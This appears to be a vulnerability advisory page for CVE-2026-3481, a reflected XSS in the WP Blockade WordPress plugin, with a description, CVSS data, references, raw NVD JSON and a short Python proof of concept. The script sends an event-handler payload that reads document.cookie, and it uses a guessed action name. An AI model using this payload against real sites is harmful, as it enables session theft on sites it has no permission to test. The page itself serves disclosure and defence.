CVE-2026-3481

Description

The WP Blockade plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'shortcode' parameter in all versions up to and including 0.9.14. This is due to insufficient input sanitization and output escaping in the render_shortcode_preview() function. The function receives user input from $_GET['shortcode'], passes it through stripslashes() without any sanitization, and then outputs it directly via echo do_shortcode($shortcode) on line 393. When the input is not a valid WordPress shortcode (e.g., an HTML tag with JavaScript event handlers), do_shortcode() returns it unchanged, and it is reflected into the page without escaping. The endpoint is registered via admin_post_ (not admin_post_nopriv_), meaning it requires the user to be logged in with at minimum a Subscriber-level account. There is no nonce verification or additional capability check. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute if they can successfully trick a user into performing an action such as clicking a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Blockade <= 0.9.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-3481
# Requires authentication (Subscriber level or higher)

import requests

target = "http://example.com/wp-admin/admin-post.php"
payload = "<img src=x onerror=alert(document.cookie)>"

# Replace with valid session cookies
cookies = {
    "wordpress_logged_in_xxx": "your_cookie_here"
}

# The action name might vary, 'shortcode' is the vulnerable param
params = {
    "action": "wp_blockade_preview_shortcode", 
    "shortcode": payload
}

r = requests.get(target, params=params, cookies=cookies)

if payload in r.text:
    print("[+] Vulnerability confirmed!")
else:
    print("[-] Could not confirm vulnerability.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3481
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3481
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3481/
[4] VulDB https://vuldb.com/cve/CVE-2026-3481
[5] https://plugins.trac.wordpress.org/browser/wp-blockade/tags/0.9.14/wp-blockade.php#L360
[6] https://plugins.trac.wordpress.org/browser/wp-blockade/tags/0.9.14/wp-blockade.php#L393
[7] https://plugins.trac.wordpress.org/browser/wp-blockade/trunk/wp-blockade.php#L360
[8] https://plugins.trac.wordpress.org/browser/wp-blockade/trunk/wp-blockade.php#L393
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/66950509-ce2a-42fe-a8b2-2a92a1b573c3?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3481", "sourceIdentifier": "[email protected]", "published": "2026-05-22T05:16:25.640", "lastModified": "2026-05-22T05:16:25.640", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Blockade plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'shortcode' parameter in all versions up to and including 0.9.14. This is due to insufficient input sanitization and output escaping in the render_shortcode_preview() function. The function receives user input from $_GET['shortcode'], passes it through stripslashes() without any sanitization, and then outputs it directly via echo do_shortcode($shortcode) on line 393. When the input is not a valid WordPress shortcode (e.g., an HTML tag with JavaScript event handlers), do_shortcode() returns it unchanged, and it is reflected into the page without escaping. The endpoint is registered via admin_post_ (not admin_post_nopriv_), meaning it requires the user to be logged in with at minimum a Subscriber-level account. There is no nonce verification or additional capability check. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute if they can successfully trick a user into performing an action such as clicking a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-blockade/tags/0.9.14/wp-blockade.php#L360", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-blockade/tags/0.9.14/wp-blockade.php#L393", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-blockade/trunk/wp-blockade.php#L360", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-blockade/trunk/wp-blockade.php#L393", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/66950509-ce2a-42fe-a8b2-2a92a1b573c3?source=cve", "source": "[email protected]"}]}}